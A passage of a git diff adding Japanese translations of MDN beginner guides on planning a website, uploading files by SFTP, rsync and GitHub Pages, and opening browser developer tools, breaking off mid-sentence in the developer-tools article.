scope="col">すべきこと</th> + </tr> + </thead> + <tbody> + <tr> + <td style="vertical-align: top;">人々にあなたの音楽を聞いてもらう</td> + <td> + <ol> + <li>音楽を録音する</li> + <li>オンラインで使用可能なオーディオファイルをいくつか準備します (既存のウェブサービスでこれを行うことができますか？)</li> + <li>あなたのウェブサイトのどこかであなたの音楽に他の人がアクセスできるようにする</li> + </ol> + </td> + </tr> + <tr> + <td style="vertical-align: top;">あなたの音楽について話す</td> + <td> + <ol> + <li>ディスカッションを始めるためにいくつかの記事を書く</li> + <li>記事の外観を定義する</li> + <li>それらの記事をウェブサイトに公開する(これを行う方法は？)</li> + </ol> + </td> + </tr> + <tr> + <td style="vertical-align: top;">他のミュージシャンに会う</td> + <td> + <ol> + <li>他の人があなたに連絡する方法を提供します (E メール？Facebook？電話？手紙？)</li> + <li>人々があなたのウェブサイトからそれらの連絡先チャンネルをどのように見つけるかを定義する</li> + </ol> + </td> + </tr> + <tr> + <td style="vertical-align: top;">グッズを売る</td> + <td> + <ol> + <li>グッズを作る</li> + <li>グッズを保管する</li> + <li>配送を処理する方法を見つける</li> + <li>支払いを処理する方法を見つける</li> + <li>あなたのサイトに人々が注文するためのメカニズムを作ります</li> + </ol> + </td> + </tr> + <tr> + <td style="vertical-align: top;">ビデオを通して音楽を教える</td> + <td> + <ol> + <li>ビデオレッスンを録画する</li> + <li>オンラインで表示可能なビデオファイルを準備します (これも既存のウェブサービスで可能ですか？)</li> + <li>あなたのウェブサイトのどこかであなたのビデオに他の人がアクセスできるようにする</li> + </ol> + </td> + </tr> + </tbody> +</table> + +<p>気づくべき 2 つのことがあります。第1 に、これらのアイテムの一部はウェブ関連 (例えば音楽を録音し、記事を書く) ではありません。これらのオフライン活動は、プロジェクトのウェブ側よりも重要な役割を果たすことがよくあります。たとえば、販売では、人々が注文するウェブサイトを構築するよりも、供給、支払い、出荷を処理する方がはるかに重要で時間がかかります。</p> + +<p>第2 に、実行可能なステップを設定することで、答える必要がある新しい質問につながります。通常、当初考えていたよりも多くの疑問が出てきます。(例えば、これをすべて自分で行う方法を学ぶべきか、誰かにそれをさせるか、サードパーティサービスを使用するように頼んでください)。</p> + +<h2 id="結論">結論</h2> + +<p>ご覧のとおり、「ウェブサイトを作ってみたい」というシンプルなアイデアでも、考えれば考えるほど ToDo リストが長くなっていきます。嘆きたくなるでしょうが、パニックになる必要はありません。すべての質問に答える必要も、リストの項目の全てを行う必要もありません。大切なことは、あなたは何がしたくて、どのように到達するかというビジョンを持てるかどうかなのです。クリアなビジョンを頭に入れたら、それをいつ、どのように行うかを決める事が必要です。 簡単にはできないような大きなタスクは、実行可能な小さなステップに分割しましょう。小さなステップを一つずつこなすことで、ついには大きな成果を達成することができるでしょう。</p> + +<p>この記事から、ウェブサイトを作成するための大まかな計画を立てることができるはずです。次の記事は、<a href="/ja/docs/Learn/Common_questions/How_does_the_Internet_work">インターネットの仕組み</a>です。</p> diff --git a/files/ja/learn/common_questions/upload_files_to_a_web_server/index.html b/files/ja/learn/common_questions/upload_files_to_a_web_server/index.html new file mode 100644 index 0000000000..92c533f108 --- /dev/null +++ b/files/ja/learn/common_questions/upload_files_to_a_web_server/index.html @@ -0,0 +1,177 @@ +--- +title: どのようにファイルを Web サーバにアップロードしますか？ +slug: Learn/Common_questions/Upload_files_to_a_web_server +tags: + - FTP + - GitHub + - WebMechanics + - rsync + - sftp + - アップロード + - ホスティング + - 初心者 +translation_of: Learn/Common_questions/Upload_files_to_a_web_server +--- +<div class="summary"> +<p>この記事ではファイル転送ツールを使用してオンラインでサイトを公開する方法を説明します。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学習の前提</th> + <td><a href="/ja/docs/Learn/Common_questions/What_is_a_web_server">Web サーバが何であるか</a>、<a href="/ja/docs/Learn/Common_questions/What_is_a_domain_name">ドメイン名の仕組み</a>を知っていなければなりません。また、<a href="/ja/docs/Learn/Common_questions/set_up_a_local_testing_server">基本的な環境の設定方法</a>や<a href="/ja/docs/Learn/Getting_started_with_the_web">簡単な Web ページの作成方法</a>も理解しておく必要があります。</td> + </tr> + <tr> + <th scope="row">学習の目的</th> + <td>FTP を使用してファイルをサーバにプッシュする方法を学びます。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>シンプルな Web ページを作成している場合 (例として <a href="/ja/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML の基本</a>を参照)、Web サーバ上にオンラインで転送したいと思うかもしれません。この記事では SFTP クライアント、RSync、GitHub などの選択肢をとおして、その方法を説明します。</p> + +<h2 id="SFTP">SFTP</h2> + +<p> SFTP クライアントには、いくつもの選択肢があります。ここのデモは <a href="https://filezilla-project.org/">FileZilla</a> を使うことにします。 Windows、macOS、Linux で使え、無料だからです。FileZilla をインストールするには、<a href="https://filezilla-project.org/download.php?type=client">FileZilla ダウンロードページ</a>に移動し、大きなダウンロードボタンをクリックしてから、通常の方法でインストーラファイルからインストールします。</p> + +<div class="note"> +<p><strong>メモ</strong>: もちろん他にもたくさんのオプションがあります。詳細については<a href="/ja/docs/Learn/Common_questions/How_much_does_it_cost#Publishing_tools.3A_FTP_client">パブリッシングツール</a>を参照してください。</p> +</div> + +<p>FileZilla アプリケーションを開きます。次のようなものが表示されます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15767/filezilla-ui.png" style="display: block; height: 451px; margin: 0px auto; width: 690px;"></p> + +<h3 id="ログイン">ログイン</h3> + +<p>この例では、ホスティングプロバイダ (私たちの HTTP Web サーバをホストするサービス) は架空の会社 "Example Hosting Provider" であり、URL は次のようになります：<code>mypersonalwebsite.examplehostingprovider.net</code></p> + +<p>私たちはアカウントを開設し、その情報を受け取ったばかりです：</p> + +<blockquote> +<p>Example Hosting Provider でアカウントを開設しましたことをお祝いします。</p> + +<p>アカウント: <code>demozilla</code></p> + +<p>あなたのWebサイトは <code>demozilla.examplehostingprovider.net</code> で表示されます。</p> + +<p>このアカウントに公開するには、SFTP を使用して次の資格情報で接続してください：</p> + +<ul> + <li>SFTP サーバ: <code>sftp://demozilla.examplehostingprovider.net</code></li> + <li>ユーザ名: <code>demozilla</code></li> + <li>パスワード: <code>quickbrownfox</code></li> + <li>ポート: <code>5548</code></li> + <li>Web 上に公開するには、ファイルを <code>Public/htdocs</code> ディレクトリに置きます</li> +</ul> +</blockquote> + +<p>最初に <code>http://demozilla.examplehostingprovider.net/</code> を見てみましょう。見ての通り、まだそこには何もありません：</p> + +<p><img alt="Our demozilla personal website, seen in a browser: it's empty" src="https://mdn.mozillademos.org/files/9615/demozilla-empty.png" style="border-style: solid; border-width: 1px; display: block; height: 233px; margin: 0 auto; width: 409px;"></p> + +<div class="note"> +<p><strong>メモ</strong>: ホスティングプロバイダによっては、最初にあなたの Web アドレスに行ったときに、「このWebサイトは[ホスティングサービス]によってホストされています。」というようなページが表示されます。</p> +</div> + +<p>SFTP クライアントを遠隔のサーバに接続するには、次の手順を実行します。</p> + +<ol> + <li>メインメニューから <em>ファイル > サイトマネージャ と選択します</em></li> + <li>[サイトマネージャ] ウィンドウで、[新規サイト] ボタンをクリックし、提供されたスペースにサイト名を <strong>demozilla</strong> として入力します</li> + <li>ホスティングプロバイダから提供された SFTP サーバのホストを<em> Host:</em> フィールドに入力します</li> + <li>[ログオンの種類] ドロップダウンで [標準] を選択し、提供されたユーザ名とパスワードを該当するフィールドに入力します</li> + <li>正しいポートおよびその他の情報を入力します</li> +</ol> + +<p>ウィンドウは次のようになります：</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15769/site-manager.png" style="display: block; height: 561px; margin: 0px auto; width: 684px;"></p> + +<p>次に Connect を押して SFTP サーバに接続します。</p> + +<p>注意: ホスティングプロバイダがホスティングスペースへの SFTP (セキュア FTP) 接続を提供していることを確認してください。FTP は本質的に安全ではないため、使用しないでください。</p> + +<h3 id="こちらとあちら：ローカルビューとリモートビュー">こちらとあちら：ローカルビューとリモートビュー</h3> + +<p>一度接続すると、画面は次のようになります (私たちはあなた自身のアイデアを伝えるために例を挙げています)。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15768/connected.png" style="border-style: solid; border-width: 1px; display: block; height: 199px; margin: 0px auto; width: 700px;"></p> + +<p>あなたが見ているものを調べてみましょう：</p> + +<ul> + <li>中央の左ペインには、ローカルファイルが表示されます。Web サイトを保存しているディレクトリ (例: <code>mdn</code>) に移動します</li> + <li>中央の右ペインには、リモートファイルが表示されます。遠くの FTP ルート (このケースでは、<code>users/demozilla</code>) にログインしています</li> + <li>今のところ、下部と上部のペインを無視することができます。それぞれ、あなたのコンピュータと SFTP サーバ間の接続状態を示すメッセージのログ、SFTP クライアントとサーバ間のすべてのインタラクションのライブログです</li> +</ul> + +<h3 id="サーバへのアップロード">サーバへのアップロード</h3> + +<p>私たちのホスト命令の例では、「Web 上に公開するには、ファイルを <code>Public/htdocs</code> ディレクトリに入れてください」となっています。右ペインの指定されたディレクトリに移動する必要があります。このディレクトリは実質的にあなたの Web サイトのルートで、<code>index.html</code> ファイルやその他のアセットがどこに行くかを示します。</p> + +<p>ファイルを置く正しいリモートディレクトリが見つかったら、サーバにファイルをアップロードしますが、それにはファイルを左ペインから右ペインにドラッグ & ドロップする必要があります。</p> + +<h3 id="本当にオンラインですか？">本当にオンラインですか？</h3> + +<p>これまでのところとても良いですが、ファイルは本当にオンラインですか？ ブラウザでWebサイト (例えば <code>http://demozilla.examplehostingprovider.net/</code>) に戻って再確認することができます。</p> + +<p><img alt="Here we go: our website is live!" src="https://mdn.mozillademos.org/files/9627/here-we-go.png" style="border-style: solid; border-width: 1px; display: block; height: 442px; margin: 0 auto; width: 400px;"></p> + +<p>そしてやりました！ Web サイトは動いています！</p> + +<h2 id="Rsync">Rsync</h2> + +<p>{{Glossary("Rsync")}} はローカルからリモートへのファイル同期ツールで、ほとんどの Unix ベースのシステム (macOS や Linux など) で一般的に利用可能ですが、Windows 版も存在します。</p> + +<p>デフォルトではコマンドラインで使用されるため、SFTP よりも高度なツールと見なされています。基本的なコマンドはこんな感じです：</p> + +<pre class="brush: bash line-numbers"><code>rsync [-options] SOURCE user@x.x.x.x:DESTINATION</code></pre> + +<ul> + <li><code>-options</code> はダッシュの後に1つ以上の文字が続きます。たとえば、詳細エラーメッセージの場合は <code>-v</code>、バックアップを作成する場合は <code>-b</code> です。完全なリストは <a href="https://linux.die.net/man/1/rsync">rsync の man ページ</a>にあります ("Options summary" を検索してください)。</li> + <li><code>SOURCE</code> は、ファイルのコピー元となるローカルファイルまたはディレクトリへのパスです。</li> + <li><code>user@</code> は、ファイルのコピー先となるリモートサーバ上のユーザの資格情報です。</li> + <li><code>x.x.x.x</code> はリモートサーバのIPアドレスです。</li> + <li><code>DESTINATION</code> は、リモートサーバ上のディレクトリまたはファイルをコピーする場所へのパスです。</li> +</ul> + +<p>あなたはホスティングプロバイダからそのような詳細を得る必要があるでしょう。</p> + +<p>詳細およびその他の例については、 <a href="https://www.atlantic.net/hipaa-compliant-cloud-hosting-services/how-to-use-rsync-copy-sync-files-servers/">How to Use Rsync to Copy/Sync Files Between Servers</a> を参照してください。</p> + +<p>もちろん、FTP の時と同じように安全な接続のもとで使用することをお勧めします。Rsync の場合は <code>-e</code> オプションを使用して、SSH を介した接続を確立するための SSH 詳細を指定します。例えば：</p> + +<pre class="brush: bash line-numbers"><code>rsync [-options] -e "ssh [SSH DETAILS GO HERE]" SOURCE user@x.x.x.x:DESTINATION</code></pre> + +<p>必要なものの詳細については、<a href="https://www.digitalocean.com/community/tutorials/how-to-copy-files-with-rsync-over-ssh">How To Copy Files With Rsync Over SSH</a> を参照してください。</p> + +<h3 id="Rsync_GUI_ツール">Rsync GUI ツール</h3> + +<p>他のコマンドラインツールと同様に、コマンドラインの使用に慣れていない人向けに Rsync 用の GUI ツールもあります。<a href="https://acrosync.com/mac.html">Acrosync</a> はそのようなツールの1つで、Windows と macOS で利用可能です。</p> + +<p>繰り返しになりますが、ホスティングプロバイダから接続認証情報を取得する必要がありますが、この方法でそれらを入力するための GUI が得られます。</p> + + + +<h2 id="GitHub">GitHub</h2> + +<p>GitHub では、<a href="https://pages.github.com/">GitHub pages</a> (gh-pages) を介して Web サイトを公開することができます。</p> + +<p>これの使い方の基本については、<a href="/ja/docs/Learn/Getting_started_with_the_web">Web 入門</a>の <a href="/ja/docs/Learn/Getting_started_with_the_web/%E3%82%A6%E3%82%A7%E3%83%96%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E5%85%AC%E9%96%8B%E3%81%99%E3%82%8B">Web サイトの公開</a>の記事で説明しているので、ここでは繰り返しません。</p> + +<p>ただし、GitHub で Web サイトをホストすることはできますが、カスタムドメインを使用することもできます。詳しいガイドは <a href="https://help.github.com/articles/using-a-custom-domain-with-github-pages/">Using a custom domain with GitHub Pages</a> をご覧ください。</p> + + + +<h2 id="ファイルをアップロードするその他の方法">ファイルをアップロードするその他の方法</h2> + +<p>FTP プロトコルは、Web サイトを公開するためのよく知られた方法の1つですが、唯一の方法ではありません。 他にもいくつかのやり方があります。</p> + +<ul> + <li><strong>Web インターフェイス</strong>。リモートファイルアップロードサービスのフロントエンドとして機能する HTML インターフェイス。ホスティングサービスから提供されます。</li> + <li><strong>{{Glossary("WebDAV")}}</strong>。より高度なファイル管理を可能にする {{Glossary("HTTP")}} プロトコルの拡張。</li> +</ul> diff --git a/files/ja/learn/common_questions/using_github_pages/index.html b/files/ja/learn/common_questions/using_github_pages/index.html new file mode 100644 index 0000000000..2e68d87607 --- /dev/null +++ b/files/ja/learn/common_questions/using_github_pages/index.html @@ -0,0 +1,108 @@ +--- +title: GitHub Pagesを使うには？ +slug: Learn/Common_questions/Using_Github_pages +tags: + - Beginner + - GitHub + - Guide + - Web + - gh-pages + - git + - publish +translation_of: Learn/Common_questions/Using_Github_pages +--- +<p class="summary"><a href="https://github.com/">GitHub</a> は "ソーシャル・コーディング" のサイトです。<a href="http://git-scm.com/">Git</a> <strong>バージョン管理システム</strong>のストレージに対して、ソースコードリポジトリーのアップロードを許可します。その後、コードプロジェクトで共同作業を行うことができます。また、システムはオープンソースに自動設定されています。つまり、世界中の誰もが GitHub コードを検索・使用また、そこから学習しコードを改善することができます。他の人のコードでもそれが可能です！この記事は Github の gh-pages 機能を使って、公開コンテンツに関する基本的なガイドを提供します。</p> + +<h2 id="Publishing_content" name="Publishing_content">公開コンテンツ</h2> + +<p>GitHub は非常に重要で役に立つコミュニティの一つで、Git / GitHub は非常に人気のある<a href="http://git-scm.com/book/en/v2/Getting-Started-About-Version-Control">バージョン管理システム</a>です。現在、ほとんどのハイテク企業がワークフローでそれを使用しています。GitHub は <a href="https://pages.github.com/">GitHub ページ</a>と呼ばれる非常に便利な機能を持っています。これはあなたがウェブ上にライブでウェブサイトのコードを公開することを可能にします。</p> + +<h3 id="Basic_Github_setup" name="Basic_Github_setup">Github の基本設定</h3> + +<ol> + <li>初めに、システムに <a href="http://git-scm.com/downloads">Git をインストール</a>してください。これは GitHub が動作する基盤となるバージョン管理システムのソフトウェアです。</li> + <li>次に、<a href="https://github.com/join">GitHub アカウント</a>に<a href="/ja/docs/">サインアップ</a>します。それは単純かつ簡単です。</li> + <li>サインアップしたら、ユーザー名とパスワードを使って <a href="https://github.com">github.com</a> にログインします。</li> +</ol> + +<h3 id="Preparing_your_code_for_upload" name="Preparing_your_code_for_upload">ソースコードのアップロード準備</h3> + +<p>Github リポジトリーに好きなコードを保存できますが、GitHub ページ機能を最大限に活用するには、コードを典型的なウェブサイトとして構成する必要があります。主なエントリーポイントは、<code>index.html</code> という HTML ファイルです。</p> + +<p>次に進む前に、自身のコードディレクトリーを Git リポジトリとして初期化する必要があります。このために、以下のことを実行してください:</p> + +<ol> + <li>コマンドラインで <code>test-site</code> のディレクトリー (またはウェブサイトを含むディレクトリーと呼んだもの) を指定します。これには、<code>cd</code> コマンドを使用します (つまり、「ディレクトリーの変更」)。ウェブサイトをデスクトップの <code>test-site</code> というディレクトリーに配置した場合は、次のように入力します: + + <pre class="brush: bash">cd Desktop/test-site</pre> + </li> + <li>コマンドラインが、あなたのウェブサイトディレクトリーの中を指しているとき、ディレクトリーを git リポジトリにそのまま変えるように <code>git</code> ツールに指示する、次のコマンドを入力してください: + <pre class="brush: bash">git init</pre> + </li> +</ol> + +<h4 id="An_aside_on_command_line_interfaces" name="An_aside_on_command_line_interfaces">コマンドラインインターフェイスの余談</h4> + +<p>Github にコードをアップロードする最良の方法は、コマンドラインを使用することです。これは、ユーザーインターフェイス内をクリックするのではなく、ファイルを作成・プログラム実行のような動作のためのコマンドを入力するウィンドウです。それは次のようなものです:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9483/command-line.png" style="display: block; height: 478px; margin: 0px auto; width: 697px;"></p> + +<div class="note"> +<p><strong>補足: </strong>コマンドラインに不安がある場合は、<a href="/ja/docs/">Git グラフィカルユーザーインターフェイス</a>を使用して、同じ作業を行うことも検討できます。</p> +</div> + +<p><span id="command-line">すべてのオペレーティングシステムには、コマンドラインツールが付属しています：</span></p> + +<ul> + <li><strong>Windows</strong>: Windows のキーを押して、<em>コマンドプロンプト</em>と入力し、表示されるリストから選択すると、<strong>コマンドプロンプト</strong>にアクセスできます。Windows は、Linux や OS X とは異なる、独自のコマンド規約を持っているので、下記のコマンドは、あなたのマシンでは異なるかもしれません。</li> + <li><strong>OS X</strong>: <strong>ターミナル</strong>は、<em>アプリケーション > ユーティリティ</em>にあります。</li> + <li><strong>Linux</strong>: 通常、<em>Ctrl + Alt + T</em> で端末を起動できます。それでもうまくいかない場合は、アプリバーまたはメニューで<strong>ターミナル</strong>を探します。</li> +</ul> + +<p>これには最初は、少し戸惑うかもしれませんが、心配しないでください — すぐに基本のコツをつかむでしょう。上記のようにコマンドを入力して、Enter キーを押すことで、端末で動作するようにコンピューターに指示します。</p> + +<h3 id="Creating_a_repo_for_your_code" name="Creating_a_repo_for_your_code">ソースコードのリポジトリの作成</h3> + +<ol> + <li>次に、ファイルを保存するための新しいリポジトリーを作成する必要があります。GitHub ホームページの右上にあるプラス (+) をクリックしてから、<em>新しいリポジトリー</em> を選択します。</li> + <li>このページの <em>リポジトリー名ボックス</em> に、ソースコードのリポジトリー名 (例: <em>my-repository</em>) を入力します。</li> + <li>また、説明を入力することで、リポジトリーに何を格納しようとしているのかを記述します。画面は次のようなものです：<br> + <img alt="" src="https://mdn.mozillademos.org/files/12143/create-new-repo.png" style="display: block; height: 548px; margin: 0px auto; width: 800px;"></li> + <li><em>Create repository</em> をクリックします。これにより、次のページに移動します:<br> + <img alt="" src="https://mdn.mozillademos.org/files/12141/github-repo.png" style="display: block; height: 520px; margin: 0px auto; width: 800px;"></li> +</ol> + +<h3 id="Uploading_your_files_to_GitHub" name="Uploading_your_files_to_GitHub">GitHub へのファイル格納</h3> + +<ol> + <li>現在のページで、あなたはセクションに興味を持っています... <em>または、コマンドラインから既存のリポジトリーをプッシュします。</em>このセクションに 2 行のコードがリストされているはずです。最初の行全体をコピーしてコマンドラインに貼り付け、Enter キーを押します。コマンドは次のようなものです: + + <pre class="copyable-terminal-content js-zeroclipboard-target"><span class="user-select-contain">git remote add origin <span class="js-live-clone-url">https://github.com/chrisdavidmills/my-repository.git</span></span></pre> + </li> + <li>次に、以下の 2 つのコマンドを入力し、それぞれの後に Enter キーを押します。これらは GitHub にアップロードするためのコードを用意し、Git にこれらのファイルを管理するように依頼します。 + <pre class="brush: bash">git add --all +git commit -m 'adding my files to my repository'</pre> + </li> + <li>最後に、表示されている 2 つのコマンドの内、2 番目のコマンドを端末に入力する「または、コマンドラインセクションから既存のリポジトリーをプッシュして」、コードを GitHub にプッシュします： + <pre class="brush: bash">git push -u origin master</pre> + </li> + <li>ここで、リポジトリーの gh-pages ブランチを作成する必要があります。現在のページを更新すると、以下のようなリポジトリページが表示されます。<em>Branch: <strong>master</strong></em> というボタンを押し、テキスト入力に <em>gh-pages</em> と入力してから <em>Create branch: gh-pages</em> という青いボタンを押す必要があります。これにより、gh-pages という特別な場所に公開されている、特別なコードブランチが作成されます。URL は、<em>username.github.io/my-repository-name</em> の形式を取ります。したがって、この例の場合、URL は <em>https://chrisdavidmills.github.io/my-repository</em> になります。表示されているページは index.html ページです。<br> + <img alt="" src="https://mdn.mozillademos.org/files/12145/repo-site.png" style="display: block; margin: 0 auto;"></li> + <li>新しいブラウザータブで、GitHub Pages のウェブアドレスに移動すると、サイトがオンラインなります！友人にそれを電子メールで送って、あなたの習熟を披露してください。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: 困った場合は、<a href="https://pages.github.com/">GitHub Pages ホームページ</a>も大いに役立ちます。</p> +</div> + +<h3 id="Further_GitHub_knowledge" name="Further_GitHub_knowledge">GitHub の詳細</h3> + +<p>テストサイトにさらに変更を加えて、GitHub にアップロードしたい場合は、以前と同じようにファイルに変更を加えるだけです。それから、以下のコマンドを入力して (それぞれ Enter キーを押して) GitHub にそれらの変更をプッシュする必要があります:</p> + +<pre>git add --all +git commit -m 'another commit' +git push</pre> + +<p><em>another commit</em> をより適切なメッセージに置換して、今行った変更を説明できます。</p> + +<p>私たちは、Git の表面を引っ掻いてみたにすぎません。詳細については、<a href="https://help.github.com/index.html">GitHub ヘルプサイト </a>から始めてください。</p> diff --git a/files/ja/learn/common_questions/what_are_browser_developer_tools/index.html b/files/ja/learn/common_questions/what_are_browser_developer_tools/index.html new file mode 100644 index 0000000000..4e3fe1667b --- /dev/null +++ b/files/ja/learn/common_questions/what_are_browser_developer_tools/index.html @@ -0,0 +1,182 @@ +--- +title: ブラウザー開発者ツールとは？ +slug: Learn/Common_questions/What_are_browser_developer_tools +tags: + - Beginner + - Browser + - CSS + - CodingScripting + - Dev Tools + - HTML + - JavaScript + - Learn +translation_of: Learn/Common_questions/What_are_browser_developer_tools +--- +<div>{{IncludeSubnav("/ja/Learn")}}</div> + +<div class="summary"> +<p>近頃のブラウザにはパワフルな開発者ツールが入っています。開発者ツールでは、現在の HTML や CSS、JavaScript の状態を検証したり、ページがどういったアセットにアクセスし、どれだけ時間がかかったかといった多様なことができます。この記事ではブラウザの開発者ツールの使い方について説明します。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: 下のサンプルを実行していく前に、<a href="/en-US/Learn/Getting_started_with_the_web">Web入門</a>の記事の中で作りあげる、<a href="http://mdn.github.io/beginner-html-site-scripted/">初心者向けウェブサイトの例</a>を開いてください。後ほどこれを使って説明します。</p> +</div> + +<h2 id="How_to_open_the_devtools_in_your_browser" name="How_to_open_the_devtools_in_your_browser">ブラウザ開発者ツールの開き方</h2> + +<p>開発者ツールはブラウザのサブウィンドウの中にいます。大体こんな感じに...。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16205/DevTools_63_inspector.png" style="border: 1px solid black; display: block; height: 1364px; margin: 0px auto; width: 672px;"></p> + +<p>どのように開くのでしょうか？これには 3 つの方法があります。</p> + +<ul> + <li><em><strong>キーボードで開く </strong>以下のブラウザを除いては、Ctrl + Shift + I</em> で開きます。 + + <ul> + <li><strong>Internet Explorer</strong> では <em>F12</em> キーで開きます。</li> + <li><strong>Mac OS X</strong> では <em><span class="Unicode">⌘ + ⌥ + I</span></em><span class="Unicode"> キーで開きます。</span></li> + </ul> + </li> + <li><span class="Unicode"><em><strong>メニューバーで開く</strong></em></span> + <ul> + <li><strong>Firefox </strong>では <img alt="" src="https://mdn.mozillademos.org/files/9637/2014-01-10-13-08-08-f52b8c.png" style="height: 16px; width: 16px;"> メニュー <span class="Unicode"><em><span class="Unicode">➤</span></em></span><em> Web開発 ➤ 開発者ツールを開く</em></li> + <li><strong>Chrome </strong>では、<em>メニュー<span class="Unicode"> ➤</span> その他のツール ➤ 開発者ツール</em></li> + <li><strong>Safari</strong> では <em><span class="Unicode">開発 ➤</span> Web インスペクタ</em> (もし、開発メニューが表示されていない場合は <em>Safari<span class="Unicode"> ➤</span> 設定 ➤ 詳細 を開いて、メニューバーに[開発]メニューを表示</em> のチェックボックスをオンにします。) </li> + <li><strong>Opera</strong> では <em><span class="Unicode">開発者用ツール ➤</span> Web インスペクタ</em></li> + </ul> + </li> + <li><strong><em>コンテキストメニューで開く</em></strong><em> ウェブページ上の項目で、長押しまたは右クリック </em>(Mac では Ctrl + クリック) し、表示されたコンテキストメニューより <em>要素を調査</em> を選択してください。(さらに！この方法では右クリックで選択した要素がハイライトされて表示されます。)</li> +</ul> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16206/inspector_context.png" style="display: block; height: 232px; margin: 0px auto; width: 350px;"></p> + +<h2 id="The_Inspector_DOM_explorer_and_CSS_editor" name="The_Inspector_DOM_explorer_and_CSS_editor">インスペクタ: DOM の内容が見られる CSS エディター</h2> + +<p>開発者ツールはたいてい最初にインスペクタが開きます。インスペクタの見た目は下に示すスクリーンショットのような感じです。このツールは実行時/表示時に HTML の状態がどのようになっているか見せてくれます。また、CSS がどのようにページ内の要素に適用されているかも見られます。そして、HTML と CSS をその場で簡単に編集し、ブラウザのビューポートに表示されている結果に反映することができます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16208/inspector_highlighted.png" style="border-style: solid; border-width: 1px; display: block; height: 509px; margin: 0px auto; width: 672px;"></p> + +<p>もしインスペクタが表示されていない場合、</p> + +<ul> + <li>インスペクタタブをタップまたはクリックしてください。</li> + <li>Internet Explorer では、<em>DOM Explorer または</em> Ctrl + 1 を押してください。</li> + <li>Safari では、それに類するような名前はついていませんが、HTML が見えるでしょう。もし、画面に表示するように何も選択していなければ、スタイルボタンを押すことで CSS が見られます。</li> +</ul> + +<h3 id="Exploring_the_DOM_inspector" name="Exploring_the_DOM_inspector">DOM インスペクタについて詳しく知る</h3> + +<p>まずは、DOM インスペクタ上の HTML の要素を右クリックして、コンテキストメニューを見てみましょう。メニューの表示はブラウザによって異なりますが、重要な機能はほぼ同じです。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16209/dom_inspector.png" style="border: 1px solid black; display: block; height: 320px; margin: 0px auto; width: 350px;"></p> + +<ul> + <li><strong>ノードを削除</strong> (要素を削除の場合もあり) は現在選択中の要素を削除します。</li> + <li><strong>HTML として編集</strong> (属性を追加や、テキストの編集の場合もあり) はその場で HTML を編集し、結果を見ることができます。テストやデバッグの際にとても便利です。</li> + <li><strong>hover / active / focus</strong> 要素を強制的に選択した状態にトグルします。その状態での見た目を確認することができます。</li> + <li><strong>コピー</strong> 現在選択されている項目の HTML をコピーします。</li> + <li>CSS パスをコピーする や、XPath をコピーする といったメニューがあるブラウザもあります。これは CSS のセレクターや、現在の HTML要素への XPath 表現のコピーを可能とするものです。</li> +</ul> + +<p>それでは表示されている DOM を編集してみましょう。要素をダブルクリックしたり、右クリックして、HTML として編集を選んでみましょう。いろいろと変更してみても問題ありませんが、保存ができませんのでご注意を。</p> + +<h3 id="Exploring_the_CSS_editor" name="Exploring_the_CSS_editor">CSS エディターについて詳しく知る</h3> + +<p>最初は CSS エディターは現在選択中の要素に適用されている CSS ルールを表示しています。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16211/CSS_Inspector.png" style="border: 1px solid black; display: block; height: 281px; margin: 0px auto; width: 500px;"></p> + +<p>以下の機能は特に便利です。</p> + +<ul> + <li>現在の要素に適用されている CSS ルールが詳細度の高い順に表示されています。</li> + <li>それぞれの宣言の隣にあるチェックボックスをクリックして、その宣言が消されるとどうなるかを試すことができます。</li> + <li>一括指定プロパティ (ショートハンドプロパティ) の隣にある矢印を開くと、各個別指定プロパティ (ロングハンドプロパティ) に対応する現在の値が表示されます。</li> + <li>各プロパティの名前か値をクリックすると、テキストボックスが表示され、変更することで、見た目のプレビューをその場で確認することができます。</li> + <li>各宣言の隣には、その宣言が書かれているファイル名と行数が表示されています。ほとんどの場合、クリックすると開発ツールのその場所にジャンプし、編集したり保存したりすることが可能です。</li> + <li>閉じ中括弧をクリックすることで、新しい行に新しくルールを追加するためのテキストボックスを表示させることができます。</li> +</ul> + +<p>CSS ビューアーの一番上にいくつかのタブメニューがあることに気づいたでしょうか。</p> + +<ul> + <li><em>計算済み</em>: このタブはブラウザによって求められた、現在選択中の要素に適用されている設定値が見られます。</li> + <li><em>ボックスモデル</em>: このタブは現在選択中の要素に適用されているボックスモデルがどれだけの大きさになっているかが一覧できます。</li> + <li><em>フォント</em>: Firefox ではこのタブに現在選択中の要素のフォント設定が表示されます。</li> +</ul> + +<h3 id="Find_out_more" name="Find_out_more">もっと知りたいときは...</h3> + +<p>各ブラウザのインスペクタの詳細については以下をご覧ください。</p> + +<ul> + <li><a href="/ja/docs/Tools/Page_Inspector">Firefox インスペクタ</a></li> + <li><a href="http://msdn.microsoft.com/en-us/library/ie/dn255008%28v=vs.85%29.aspx">Internet Explorer DOM エクスプローラー (英語)</a></li> + <li><a href="https://developer.chrome.com/devtools/docs/dom-and-styles">Chrome DOM インスペクタ</a> (Opera のインスペクタもこれと同じ動作です)</li> + <li><a href="https://developer.apple.com/library/content/documentation/NetworkingInternetWeb/Conceptual/Web_Inspector_Tutorial/">Safari DOM インスペクタおよびスタイルエクスプローラー (英語)</a></li> +</ul> + +<h2 id="The_JavaScript_console">The JavaScript console</h2> + +<p>The JavaScript console is an incredibly useful tool for debugging JavaScript that isn't working as expected. It allows you to run lines of JavaScript against the page currently loaded in the browser, and reports the errors encountered as the browser tries to execute your code. To access the console in any browser:</p> + +<p>If the developer tools are already open, click or press the Console tab.</p> + +<p>If not, Firefox allows you to open the console directly using <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd> or using the menu command: Menu <img alt="" src="https://mdn.mozillademos.org/files/9637/2014-01-10-13-08-08-f52b8c.png" style="height: 16px; width: 16px;"> <span 